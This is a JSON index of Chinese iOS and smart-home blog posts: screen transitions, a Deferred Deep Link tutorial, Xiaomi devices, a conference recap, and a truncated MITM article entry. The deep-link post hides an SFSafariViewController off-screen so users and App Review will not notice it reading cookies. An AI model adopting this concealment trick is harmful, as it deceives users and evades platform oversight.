fromView.frame.origin.x = UIScreen.main.bounds.size.width }) { (_) in transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } } }上拉漸入 UIViewController在View上上拉漸入+下拉關閉,就是在做類似 Spotify 的播放器轉場效果了!這部分較為繁瑣,但原理一樣,這邊就不 PO 出來了,有興趣的朋友可參考 GitHub 範例內容。要說哪裡要注意,大概就是 在上拉漸入時,動畫要確保是使用「.curveLinear 線性」否則會出現上拉不跟手的問題 ;拉的程度跟顯示的位置不是正比。完成!完成圖 此篇很長,也花了我許久時間整理製作,感謝您的耐心閱讀。全篇 GitHub 範例下載:參考資料: Draggable view controller? Interactive view controller! 系统学习iOS动画之四:视图控制器的转场动画 系统学习iOS动画之五:使用UIViewPropertyAnimator 用UIPresentationController来写一个简洁漂亮的底部弹出控件 (單純只做Present 動畫效果可直接用這個)若需要參考優雅的程式碼封裝使用: Swift: https://github.com/Kharauzov/SwipeableCards Objective-C: https://github.com/saiday/DraggableViewControllerDemo有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS Deferred Deep Link 延遲深度連結實作(Swift)", "url": "/posts/b08ef940c196/", "categories": "ZRealm, Dev.", "tags": "deeplink, ios-app-development, swift, universal-links, app-store", "date": "2019-11-11 22:34:57 +0800", "snippet": "iOS Deferred Deep Link 延遲深度連結實作(Swift)動手打造適應所有場景、不中斷的App轉跳流程[2022/07/22] 更新 iOS 16 Upcoming ChangesiOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。UIPasteBoard’s privacy chang...", "content": "iOS Deferred Deep Link 延遲深度連結實作(Swift)動手打造適應所有場景、不中斷的App轉跳流程[2022/07/22] 更新 iOS 16 Upcoming ChangesiOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。UIPasteBoard’s privacy change in iOS 16[2020/07/02] 更新 因應 iOS 14 更新,讀取剪貼簿時會提示使用者,如要實作請一併參考此篇文章。無關畢業當完兵到現在庸庸碌碌工作了快三年,成長已趨於平緩,開始進入舒適圈,所幸心一橫提了離職,沈澱重新出發。在閱讀 做自己的生命設計師 重新梳理自己的人生規劃時,回顧了一下工作跟人生,雖然本身技術能力沒有很好,但在寫 Medium 與大家分享能讓我進入「心流」跟獲得大量的精力;剛好前陣子有朋友在問 Deep Link 問題,藉此整理了我研究的做法,也順便補充下自己的精力!場景首先要先說明實際應用場景。1.當使用者有裝 APP 時點擊網址連結(Google搜尋來源、FB貼文、Line連結…) 則直接開 APP 呈現目標畫面,若無則跳轉到 APP Store 安裝 APP; 安裝完後打開APP,要能重現之前欲前往的畫面 。2.APP 下載和開啟數據追蹤,我們想知道 APP 推廣連結有多少人確實從這個入口下載和開啟 APP 的。3.特殊活動入口,例如透過特定網址下載後開啟能獲得獎勵。支援度:iOS ≥ 9何謂 Deferred Deep Link 與 Deep Link 的差別?純 Deep Link 本身:可以看到 iOS Deep Link 本身運作機制只有判斷 APP 有無安裝,有則開 APP,無則不處理.首先我們要先加上「無則跳轉到 APP Store」提示使用者安裝 APP:URL Scheme 的部分是由系統控制,一般用於 APP 內呼叫鮮少公開出來;因為如果觸發點在自己無法控制的區域(如:Line連結),則無法處理。若觸發點在自身網頁上可以使用些小技巧處理,請參考 這裡 :<html><head> <title>Redirect...</title> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" /> <script> var appurl = 'marry://open'; var appstore = 'https://apps.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329'; var timeout; function start() { window.location = appurl; timeout = setTimeout(function(){ if(confirm('馬上安裝結婚吧APP?')){ document.location = appstore; } }, 1000); } window.onload = function() { start() } </script></head><body></body></html>大略邏輯是 一樣呼叫 URL Scheme,然後設個 Timeout,時間到若還在本頁沒跳轉就當沒安裝 Call 不到 Scheme,轉而導 APP Store 頁面 (但體驗還是不好還是會跳網址錯誤提示,只是多了自動轉址)。Universal Link 本身就是個自己的網頁,若無跳轉,預設就是使用網頁瀏覽器呈現,這邊有網頁服務的可以選擇直接跳網頁瀏覽、沒有的就直接導 APP Store 頁面。有網頁服務的網站可以在 &lt;head&gt;&lt;/head&gt; 中加入:&lt;meta name=”apple-itunes-app” content=”app-id=APPID, app-argument=頁面參數”&gt;使用 iPhone Safari 瀏覽網頁版上方就會出現 APP 安裝提示、使用 APP 開啟本頁的按鈕; 參數 app-argument 就是用來帶入頁面值,並傳遞到 APP 用的。加上「無則跳轉到 APP Store」的流程圖完善 Deep Link APP 端處理:我們要的當然不只是「當使用者有安裝 APP 則開啟 APP」,我們還要將來源資訊與 APP 串起,讓 APP 開啟後自動呈現目標頁面的 APP 畫面。URL Scheme 方式可在 AppDelegate 中的 func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -&gt; Bool 進行處理:func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool { if url.scheme == \"marry\",let params = url.queryParameters { if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID:params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) } } return true}Universal Link 則是在 AppDelegate 中的 func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -&gt; Void) -&gt; Bool 進行處理:extension URL { /// test=1&a=b&c=d => [\"test\":\"1\",\"a\":\"b\",\"c\":\"d\"] /// 解析網址query轉換成[String: String]數組資料 public var queryParameters: [String: String]? { guard let components = URLComponents(url: self, resolvingAgainstBaseURL: true), let queryItems = components.queryItems else { return nil } var parameters = [String: String]() for item in queryItems { parameters[item.name] = item.value } return parameters } }先附上一個 URL 的擴充方法 queryParameters,用於方便將 URL Query 轉換成 Swift Dictionary。func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool { if userActivity.activityType == NSUserActivityTypeBrowsingWeb, webpageURL = userActivity.webpageURL { /// 如果是universal link url來源... let params = webpageURL.queryParameters if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID:params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) } } return true }完成!那還缺什麼?目前看來已經很完美了,我們處理了所有會遇到的狀況,那還缺什麼?如圖所示,如果是 未安裝 -> APP Store 安裝 -> APP Store 打開,來源所帶的資料就會中斷,APP 不知道來源所以就只會顯示首頁;使用者要再回到上一步網頁再點一次開啟,APP 才會驅動跳頁。 雖然這樣也不是不行,但考慮到跳出流失率,多一個步驟就是多一層流失,還有使用者體驗起來不順暢;更何況使用者未必這麼聰明。進入本文重點何謂 Deferred Deep Link?,延遲深度連結;就是讓我們的 Deep Link 可以延伸到 APP Store 安裝完後依然保有來源資料。據 Android 工程師表示 Android 本身就有此功能,但在 iOS 上並不支援此設定、要達到此功能的做法也不友善,請繼續看下去。Deferred Deep Link 如果不想花時間自己做的話可以直接使用 branch.io 或 Firebase Dynamic Links 本文介紹的方法就是 Firebase 使用的方式。要達成 Deferred Deep Link 的效果網路上有兩種做法:一種是透過使用者裝置、IP、環境…等等參數計算出一個雜湊值,在網頁端存入資料到伺服器;當 APP 安裝後打開用同樣方式計算,如果值相同則取出資料恢復(branch.io 的做法)。另一種是本文要介紹的方法,同 Firebase 作法;使用 iPhone 剪貼簿和 Safari 與 APP Cookie 共享機制的方法,等於是把資料存在剪貼簿或Cookie,APP安裝完成後再去讀出來使用。點擊「Open」後你的剪貼簿就會被 JavaScript 自動覆蓋複製上跳轉相關資訊:https://XXX.app.goo.gl/?link=https://XXX.net/topicID=1&type=topic相信有套過 Firebase Dynamic Links 的人一定不陌生這個開啟跳轉頁,了解到原理之後就知道這頁在流程中是無法移除的!另外 Firebase 也不提供進行樣式修改。支援度首先講個坑,支援度問題;如前所說的「不友善」!如果 APP 只考慮 iOS ≥ 10 以上的話容易許多,APP 實作剪貼簿存取、Web 使用 JavaScript 將資訊覆蓋到剪貼簿,然後再跳轉到 APP Store 導下載就好。iOS = 9 不支援JavaScript自動剪貼簿但支援 Safari 與 APP SFSafariViewController「Cookie 互通大法」另外在 APP 需要偷偷在背景加入 SFSafariViewController 載入 Web,再從 Web 取得剛才點連結時存的Cookie資訊。 步驟繁瑣&連結點擊僅限 Safari瀏覽器。SFSafariViewController 根據官方文件,iOS 11 已無法取得使用者的 Safari Cookie,若有這方面需求可使用 SFAuthenticationSession,但此方法無法在背景偷執行,每次載入前都會跳出以下詢問視窗:SFAuthenticationSession 詢問視窗 還有就是 APP審查是不允許將SFSafariViewController放在使用者看不到的地方的。(用程式觸發再 addSubview 不太容易被發現)動手做先講簡單的,只考慮 iOS ≥ 10 以上的用戶,單純使用 iPhone 剪貼簿轉傳資訊。Web 端:我們仿造 Firebase Dynamic Links 客製化刻了自己的頁面,使用 clipboard.js 這個套件讓使用者點擊「立即前往」時先將我們要帶給 APP 的資訊複製到剪貼簿 (marry://topicID=1&type=topic) ,然後再使用 location.href 跳轉到 APP Store 商城頁。APP 端:在 AppDelegate 或 主頁 UIViewController 中讀取剪貼簿的值:let pasteData = UIPasteboard.general.string這邊建議還是將資訊使用 URL Scheme 方式包裝,方便進行辨識、資料反解:if let pasteData = UIPasteboard.general.string,let url = URL(string: pasteData),url.scheme == \"marry\",let params = url.queryParameters { if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID:params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) }}最後在處理完動作後使用 UIPasteboard.general.string = “” 將剪貼簿中的資訊清除。動手做 — 支援 iOS 9 版本麻煩的來了,支援 iOS 9 版,前文有說由於不支援剪貼簿,要使用 Cookie 互通大法 。Web 端:web 端也算好處理,就是改成使用者點擊「立即前往」時將我們要帶給 APP 的資訊存到 Cookie (marry://topicID=1&type=topic) ,然後再使用 location.href 跳轉到 APP Store 商城頁。這裡提供兩個封裝好的 JavaScript 處理 Cookie 的方法,加速開發:/// name: Cookie 名稱/// val: Cookie 值/// day: Cookie 有效期限,預設1天/// EX1: setcookie(\"iosDeepLinkData\",\"marry://topicID=1&type=topic\")/// EX2: setcookie(\"hey\",\"hi\",365) = 一年有效function setcookie(name, val, day) { var exdate = new Date(); day = day || 1; exdate.setDate(exdate.getDate() + day); document.cookie = \"\" + name + \"=\" + val + \";expires=\" + exdate.toGMTString();}/// getCookie(\"iosDeepLinkData\") => marry://topicID=1&type=topicfunction getCookie(name) { var arr = document.cookie.match(new RegExp(\"(^| )\" + name + \"=([^;]*)(;|$)\")); if (arr != null) return decodeURI(arr[2]); return null;}APP 端:本文最麻煩的地方來了。前文有提到原理,我們要在主頁的UIViewController用程式偷偷加載一個SFSafariViewController 在背景不讓使用者察覺。再說個坑: 偷偷加載這件事,iOS ≥ 10 SFSafariViewController 的 View如果大小設定小於1、透明度小於0.05、設成 isHidden,SFSafariViewController 就 不會載入 。 p.s iOS = 10 同時支援 Cookie 及 剪貼簿。https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788我這邊的做法是在 主頁的UIViewController 上方放一個 UIView 隨便給個高度,但底部對齊 主頁面 UIView 上方,然後拉 IBOutlet (sharedCookieView) 到 Class;在 viewDidLoad( ) 時 init SFSafariViewController 並將其 View 加入到 sharedCookieView 上,所以他實際有顯示有載入,只是跑出畫面了,使用者看不到🌝。SFSafariViewController 的 URL 該指向?同 Web 端分享頁面,我們要再刻一個 For 讀取 Cookie 的頁面,並將兩個頁面放在同個網域之下避免跨網域Cookie問題,頁面內容稍後附上。@IBOutlet weak var SharedCookieView: UIView!override func viewDidLoad() { super.viewDidLoad() let url = URL(string:\"http://app.marry.com.tw/loadCookie.html\") let sharedCookieViewController = SFSafariViewController(url: url) VC.view.frame = CGRect(x: 0, y: 0, width: 200, height: 200) sharedCookieViewController.delegate = self self.addChildViewController(sharedCookieViewController) self.SharedCookieView.addSubview(sharedCookieViewController.view) sharedCookieViewController.beginAppearanceTransition(true, animated: false) sharedCookieViewController.didMove(toParentViewController: self) sharedCookieViewController.endAppearanceTransition()}sharedCookieViewController.delegate = selfclass HomeViewController: UIViewController, SFSafariViewControllerDelegate需要加上這個 Delegate 才能捕獲載入完成後的 CallBack 處理。我們可以在:func safariViewController(_ controller: SFSafariViewController, didCompleteInitialLoad didLoadSuccessfully: Bool) {方法中捕獲載入完成事件。到這步,你可能會想再來就是在 didCompleteInitialLoad 中讀取 網頁內的 Cookie 就完成了!在這裡我沒找到讀取 SFSafariViewController Cookie 的方法,使用網路的方法讀出來都是空的。 或可能要使用 JavaScript 與頁面內容進行交互,叫 JavaScript 讀 Cookie 回傳給 UIViewController。Tricky 的 URL Scheme 法既然 iOS 不知到如何取得共享的 Cookie,那我們就直接交由「讀取 Cookie 的頁面」去幫我們「讀取 Cookie」。前文附上的 JavaScript 處理 Cookie 的方法中的 getCookie( ) 就是用在這,我們的「讀取 Cookie 的頁面」內容是個空白頁(反正使用者看不到),但是在 JavaScript 部分要在 body onload 之後去讀取 Cookie:<html><head> <title>Load iOS Deep Link Saved Cookie...</title> <script> function checkCookie() { var iOSDeepLinkData = getCookie(\"iOSDeepLinkData\"); if (iOSDeepLinkData && iOSDeepLinkData != '') { setcookie(\"iOSDeepLinkData\", \"\", -1); window.location.href = iOSDeepLinkData; /// marry://topicID=1&type=topic } } </script></head><body onload=\"checkCookie();\"></body></html>實際的原理總結就是:在 HomeViewController viewDidLoad 時加入 SFSafariViewController 偷加載 loadCookie.html 頁面, loadCookie.html 頁面讀取檢查先前存的 Cookie,若有則讀出清除,然後使用 window.location.href 呼叫,觸發 URL Scheme 機制。所以之後對應的 CallBack 處理就會回到 AppDelegate 中的 func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -&gt; Bool 進行處理。完工!總結:如果覺得煩瑣,可以直接使用 branch.io 或 Firebase Dynamic 沒必要重造輪子,這邊是因為介面客製化及一些複雜需求,只好自己打造。iOS=9 的用戶已經非常稀少,不是很必要的話可以直接忽略;使用剪貼簿的方法快又有效率,而且用剪貼簿就不用局限連結一定要用 Safari 開啟!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居", "url": "/posts/21119db777dd/", "categories": "ZRealm, Life.", "tags": "米家, ios-13, siri, siri-shortcut, 生活", "date": "2019-09-26 22:23:36 +0800", "snippet": "iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居直接使用 iOS ≥ 13.1 內建的捷徑APP完成自動化操作前言今年 7 月初的時候買了米家檯燈 Pro、米家 LED 智慧檯燈兩個智能設備,差別在一個能支援HomeKit,一個僅支援米家;當時寫了篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」文章,裡面提到如何在沒有 HomePod/AppleTV...", "content": "iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居直接使用 iOS ≥ 13.1 內建的捷徑APP完成自動化操作前言今年 7 月初的時候買了米家檯燈 Pro、米家 LED 智慧檯燈兩個智能設備,差別在一個能支援HomeKit,一個僅支援米家;當時寫了篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」文章,裡面提到如何在沒有 HomePod/AppleTV/iPad 下完成離家、到家兩種模式的智慧功能,步驟有點麻煩。這次 iOS ≥13.1 (注意是 13.1 之後才開放),內建的「 捷徑 」APP ( 若找不到請從 Store 下載回來) 支援自動化功能;如果 IFTTT、米家米家智慧,只是現在不用再特別使用第三方APP囉! p.s 如果你有HomePod、apple tv、iPad 完全不用看這篇文章;可以直接把設備設成家庭中樞即可!達成效果進入、離開設定區域會收到捷徑執行通知,點擊後會自動執行。如何使用1.先打開米家APP切換到「我的」->「智慧」 這裡假設你已經把設備加入米家了。選擇「手動執行」 這裡再提一下為什麼不直接用米家的「離開或到達某地」,第一是 大陸用的GPS有偏移 小米沒針對此修正,第二是他只能設定地圖上有地標的地點,他是大陸高德地圖很少台灣地標。下拉「智慧裝置」區塊,新增要操作的裝置及動作點擊「繼續增加」加入所有要操作的設備範例以「離家」模式為例,離家時我希望能關閉風扇、燈;打開攝影機。點擊右上角「儲存」,輸入此智慧操作的名稱回到列表,點「加入 Siri 」點擊要加入的智慧操作旁的「加入 Siri 」輸入「呼叫Siri 時的指令」-> 「Add to Siri」這邊要注意! 指令不可以與 iOS 內建指令衝突!2.打開 「 Siri捷徑 」 APP切換到「自動化」頁籤,點擊右上角「+」 若沒有「自動化」頁籤請確認您的 iOS 版本是否高於 13.1。選擇「製作個人自動化操作」選擇類型「抵達」或「離開」設定「位置」搜尋位置或使用當前位置,點「完成」下方可設定自動執行時間範圍,點右上角「下一步」因為離家、到家是全天候都要偵測的事件;所以這邊就不設會執行的時間範圍了!點選「加入動作」選擇「工序指令」滑到「捷徑」區塊,選擇「執行捷徑」點選「捷徑」區塊找到剛在米家「加入 Siri」設定的「呼叫Siri 時的指令」,選擇點右上角「完成」首頁就會出現剛新增的自動化操作囉!完成!實際執行結果當離開、進入設定地址的範圍時,手機、Apple Watch 就會收到執行捷徑的動作通知,點擊即可執行! 1.GPS感應範圍存在 100 公尺誤差 2. 所謂「自動化」只是自動通知你按執行 ,不是真的自動在背景執行動作 以上兩個痛點要解決就只能用文章開頭所說的,買一台HomePod或是找一台 apple tv/iPad 當家庭中樞。iPhone上 :執行通知點擊即可「執行」請注意,會要求解鎖手機後才能。執行失敗也會反饋!有時候米家設備網路問題會執行失敗。Apple Watch 上:點擊即可執行不同於 IFTTT 原生內建 APP 的強大就在於它手錶上的通知也能執行。(IFTTT的是純通知,還是要拿手機出來點執行)除此之外使用 Siri 呼叫執行因為已將米家智慧操作場景加入到 Siri 了,所以也可以呼叫 Siri 執行動作! 離智能生活又更近一步了!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "小米智慧家居新添購", "url": "/posts/bcff7c157941/", "categories": "ZRealm, Life.", "tags": "小米, 米家, 生活, 家電, 開箱", "date": "2019-09-26 21:16:42 +0800", "snippet": "小米智慧家居新添購AI音箱、溫濕度感應器、體重計2、直流變頻電風扇 使用心得入坑既上一篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」入手&介紹如何使用小米智慧家居後;又持續買了幾樣小米居家產品,並且想盡辦法讓所有家電都智慧化….只能說真的是個坑,起初只是想買個檯燈覺得小米美美的,順帶研究了智慧功能,就這樣入坑了!新添購 — 小米AI音箱價格:NT$ 1...", "content": "小米智慧家居新添購AI音箱、溫濕度感應器、體重計2、直流變頻電風扇 使用心得入坑既上一篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」入手&介紹如何使用小米智慧家居後;又持續買了幾樣小米居家產品,並且想盡辦法讓所有家電都智慧化….只能說真的是個坑,起初只是想買個檯燈覺得小米美美的,順帶研究了智慧功能,就這樣入坑了!新添購 — 小米AI音箱價格:NT$ 1,495特色: 可語音控制米家所有串連的智慧設備 台灣地區送 KKBOX 會員 3 個月 語音智能強大;跟 Siri 比起來,Siri = 3歲小孩¶小愛同學除了有基本的語音助理功能(查天氣、新聞、資料、控制家電、播音樂….)¶還有超多擴充的技能(問美劇、玩小遊戲、聊天、講相聲、 扮女僕,沒錯就是用女僕口吻跟你對話!! )¶支援自訂功能(自訂詞、對應的動作) 另外差別最大的是他比較會舉一反三,不像 Siri 你問他天氣他也就只回妳天氣就沒了;小愛同學會順帶問你要不要提醒你帶傘之類的,更貼心有溫度。 360 度收音、放音,音量很夠;呼叫也很靈敏準確。 可直接當藍芽音樂播放音箱缺點: 當藍牙音響時 ,看影片會有1–2秒嚴重延遲;這算是蠻嚴重的缺陷,查大陸論壇也無解決辦法,官方擺爛,貌似是硬體問題。 不支援 Spotify / Apple Music ,像我非 KKBOX 用戶,送的 3 個月到期後不想花錢就只能切到大陸地區使用 QQ 音樂。 不像 HomePod 支援家庭中樞功能,本來我預期的是可以把小米音箱當智慧家庭的中樞中心,然後我到家,米家感應到小米音箱就能自動執行對應的動作(就是蘋果HomePod+HomeKit那套);看來是不行! 要另外裝一個 小愛音箱 APP 跟米家APP要設同個地區,我米家APP設在大陸(因功能較多),小愛同學也只能設大路綜合上述,日常使用下就只是個只能播音樂的藍牙音箱,偶爾叫小愛同學時間到叫我…就這樣,其實 Siri 就能做到;無法當電腦的藍牙音響對我來說真的很痛,但不得不說他的語音功能真的很智慧、很厲害!可以買來玩玩。新添購 — 米家藍牙溫濕度計小物,NT$ 365要另外再買一顆4號電池來裝;官方號稱續航可達一年,外觀圓形小巧、磁掛式設計隨時拿下來把玩都很方便,雙排顯示螢幕能快速掌握目前溫度及濕度。APP 溫度紀錄僅支援藍牙連線,所以手機超過藍牙範圍後就無法讀取到數據;除非購買藍芽網關或是支援藍芽網關功能的其他米家設備。官方文件的支援藍芽網關設備列表一般來說是能連WiFi跟藍牙的設備都支援,但 小米AI音箱居然不行 !!而且我發現一件神奇的事,就是 米家直流變頻電風扇居然可以 ,WTF! ! ! !;所以我目前是透過米家電風扇把溫濕度計的訊息用WiFi傳到網路給我。真的很詭異...小米AI音箱、檯燈、桌燈、攝影機都不支援藍芽網關功能,電風扇居然支援! *不確定是否是只有溫濕度計能這樣另外補充溫濕度計會不一直發推播通知推播溫度太高或太潮濕的消息(但台灣這些溫濕度是很正常的…)關閉方式:可以到「我的」-> 右上角「設定」-> 裝置通知 -> 找到米家藍芽溫濕度計 -> 關閉關閉之後就不會再收到推播通知消息了!新添購 — 體重計2就是個體重計,NT$ 395除了能APP記錄體重外多了秤物、平衡測試…功能,但就是體重計,比較常用的就是量體重而已;外型精美,放在家裡不用也能提升質感!體重計也要另外下載一個小米健康的APP,在秤重時打開APP就能同步紀錄體重。小米健康APP新添購 — 直流變頻電風扇這次設備添購中最滿意的電器,NT$ 1995首先電風扇的基本功能方面左右擺角120度範圍很大,風力調節支援1–100段,風力大小隨心所欲;我最喜歡的是另一個「自然風」模式,因為我怕熱喜歡直吹但很常直吹一陣子之後覺得不太舒服,這個自然風可以讓我一直保持直吹模式,不會不舒服!外觀設計ㄧ樣保持小米白色簡潔的設計,我個人不喜歡電扇太金屬(感覺就髒髒的);小米電扇很輕盈乾淨,沒用放著,看也舒服。智能方面加入米家APP之後,可以從APP控制所有參數(模式、開關、風力、角度);另外也可以設定週期定時(EX:週一~週五早上7:00關閉)、與米家設備連動(EX:回家自動打開、溫度高於30度自動打開)…等等智慧家居功能可以玩另外就是發現它能當藍芽網關,幫米家藍牙溫濕度計傳輸數據。 *不確定是否是只有溫濕度計能這樣目前已有設備整理 米家智慧攝影機雲台版 1080P (支援:米家) 米家檯燈 Pro (支援:Apple HomeKit、米家) 米家 LED 智慧檯燈 (支援:米家) 小米AI音箱 米家藍芽溫濕度感應器 小米體重計2 米家直流變頻電風扇總結以上就是這次新添購項目心得整理,距離理想(溫度太高自動開冷氣、電風扇跟人、回家開燈、離家關燈開攝影機、濕度太高開除濕機)還有很常的路要走,甚至非常崎嶇…要會改電路、還有發現我的除濕機是沒有回歸功能、冷氣也是舊型;米家很多設備台灣也沒賣(EX:萬能遙控器),本來想衝智慧家庭組,但想想用途不大,目前繼續研究還有啥能上智能!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iPlayground 2019 是怎麼樣的體驗?", "url": "/posts/4079036c85c2/", "categories": "ZRealm, Dev.", "tags": "iplayground, iplayground2019, ios-app-development, swift, taiwan-ios-conference", "date": "2019-09-22 21:47:18 +0800", "snippet": "iPlayground 2019 是怎麼樣的體驗?iPlayground 2019 火熱熱參加心得關於活動去年辦在10月中,我也是去年10月初才開始經營 Medium 記錄生活;結合聽到的 UUID 議題跟參加心得也寫了篇 文章 ;今年繼續來 寫心得蹭熱度 !iPlayground 2019 (本次一樣是由 公司 補助企業票)相較 2018 年第一屆,今年在各方面又更大幅度提升!首先是場地部...", "content": "iPlayground 2019 是怎麼樣的體驗?iPlayground 2019 火熱熱參加心得關於活動去年辦在10月中,我也是去年10月初才開始經營 Medium 記錄生活;結合聽到的 UUID 議題跟參加心得也寫了篇 文章 ;今年繼續來 寫心得蹭熱度 !iPlayground 2019 (本次一樣是由 公司 補助企業票)相較 2018 年第一屆,今年在各方面又更大幅度提升!首先是場地部分 ,去年在地下一樓會議廳,活動空間不大頗有壓迫感、講座教室用電腦不易;今年直接拉到台大博雅館舉辦,場地很大很新不會人擠人、教室有桌子/插座,方便使用個人電腦!議程方面 ,除了國內的大大,這次也廣邀國外講者來台分享;其中高朋滿座的絕非貓神 王巍(Wei Wang) 莫屬;今年也首次加入 workshop 手把手教學,不過名額有限,要搶要快…顧著吃飯跟喇賽就這樣錯過了。贊助商攤位、 Ask the Speaker 區 因場地大交流更方便、更多活動;從 iChef 攤位 #iCHEFxiPlayground 獲得了一組環保吸管及銅鑼燒、 Dcard 攤位去年已拿過,今年又拿到一組貼紙+環保杯套,今年多一個厭世語錄濕紙巾、 17 直播 填問券抽 Airpods 2 、在 [ weak self ] Podcast 攤位拿了貼紙,另外還有 Grindr 、 CakeResume 、 Bitrise 的攤位可以互動,附上一張 不齊全 的戰利品照。不齊全的戰利品吃的及 After Party ,兩天都是精緻餐盒,冰咖啡、茶飲全天無限量供應;但去年比較有 After Party 的感覺,像是在酒吧聽台上的大大說故事,非常有趣;今年比較是下午茶(ㄧ樣有供應酒,燒賣跟甜點好吃!);自行交流,但反而我今年才有認識到新朋友。吃貨必備,便當照Top 5 議程收穫1. 王巍(Wei Wang) ( 貓神) 的 網路請求元件設計這部分很有感,因為我們的專案並沒有使用第三方網路套件;而是自己封裝方法,講者說的很多設計模式、問題,也是我們需要去做的優化及重構項目,套用講者說的: 「垃圾需要分類,代碼也是…」這部分要好好回去研究了,我會做好分類的<( _ _ )>p.s 沒搶到 KingFisher 貼紙 QQ2. 日本的大大 kishikawa katsumi介紹 iOS ≥ 13 推出的新方法 UICollectionViewCompositionalLayout ,讓我們不用在像之前ㄧ樣去 subclass UICollectionViewLayout 或是用 CollectionView Cell 包 CollectionView 的方式完成複雜的佈局。這部分同樣有感,我們的 APP 就是使用後者的方式達成設計想要呈現的樣式,巔峰之作還有 CollectionView Cell 包 CollectionView 再包 CollectionView (三層),程式碼很亂不易維護。除了介紹 UICollectionViewCompositionalLayout 的架構、使用方式,特別之處在於講者依照此模式自己做了一個專案,讓 iOS 12 以前的 App ㄧ樣能支援同樣的效果 — IBPCollectionViewCompositionalLayout ,太神啦!3. Ethan Huang 大大的 用 SwiftUI 開發 Apple Watch APP之前寫過一篇「 動手做一支 Apple Watch App 吧! 」,是基於 watchOS 5 使用傳統方式;沒想到現在居然能用SwiftUI開發了!Apple Watch OS 6 是 1~5 代都支援,所以 比較沒有版本的問題 ,用手錶應用練習SwiftUI也是不錯的當出發點(相較簡化);再找時間來翻新。p.s 只是沒想到 watchOS 的開發者也這麼邊緣QQ 我個人是覺得蠻好玩的,希望有更多人可以加入!4. TinXie-易致及羊小咩兩位大大的 APP安全議題關於 APP 本身的安全問題, 從未認真研究過,固有觀念就是「蘋果很封閉很安全!」;聽了兩位講者的演示之後覺得真是脆而不堅,也了解到 APP 安全本身的核心概念: 「當破解成本大於保護成本,APP就是安全的」沒有保證安全的 APP,只有增加破解的難易度,勸退攻擊者!還有收獲除了 Reveal 這個付費APP之外,還有開源免費的 Lookin 可以看 APP UI;Reveal 我們很常用;即使不看別人,看自己 Debug UI 問題也很方便!另外 關於連線安全的部分 ,前幾天剛好發了一篇「 APP有用HTTPS傳輸,但資料還是被偷了。 」,使用 mitmproxy 這套免費軟體做中間人攻擊抽換 root ca ;經過講者講解 中間人攻擊、原理、防護方式,一方面也驗證我寫的內容正不正確,另一方面也更了解了這個手法的道理!順便開了開眼界…知道有越獄插件可以直接攔截網路請求,連憑證抽換都不用。5. 丁沛堯大大的 優化編譯速度這也是一直以來苦惱我們的問題,編譯很慢;有時在 UI 微調時真的會抓狂,就只調個 1pt ,然後就要等,然後看到結果,然後再修正個 1pt ,然後再等,然後又調回去…while(true)….很抓狂的!講者提到的嘗試、經驗分享,很值得回去研究用在自己的專案上! 還有很多議程(例如:色色的事A_A,之前也踩過顏色的雷) 但由於筆記較零散、個人沒有相關經驗或沒聽到該場次議程 所有內容可以等 iPlayground 2019 釋出錄影回放(有錄影的場次)、或參考官方的 HackMD 共筆筆記內容 。軟性收穫除了技術方面的收穫,我個人比去年更多的是「 軟性收穫 」,第一次跟 Ethan Huang 大大照了個面,在討論 Apple Watch 開發生態時無意間也跟貓神大大交流了幾句;另外也認識了許多新的開發者,同事 Frank 跟 George Liu 的同學 Taihsin 、 Spock 薛 、 Crystal Liu 、 Nia Fan 、 Alice 、 Ada ,老同學 Peter Chen 、老同事皓哥 邱鈺晧 …等等新朋友!yes! 更多花絮可以到 Twitter #iplayground 查看感謝 感謝所有工作人員的辛勞及講者的分享,才有這兩天收穫滿滿的活動! 辛苦了!謝謝!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "APP有用HTTPS傳輸,但資料還是被偷了。", "url": "/posts/46410aaada00/", "categories": "ZRealm, Dev.", "tags": "mitmproxy, man-in-the-middle, ios, ios-app-development, hacking", "date": "2019-09-20 18:01:01 +0800", "snippet": "APP有用HTTPS傳輸,但資料還是被偷了。iOS+MacOS 使用 mitmproxy 進行中間人攻擊(Man-in-the-middle attack) 嗅探API傳輸資料教學及如何防範?前言前陣子剛在公司辦完一場內部的 CTF競賽 ,在發想題目時回想起大學時候還在做後端(PHP)時經手的專案,一個集點的APP,大概就是有個任務列表,然後觸發條件完成就Call API獲得點數;老闆認為C...", "content": 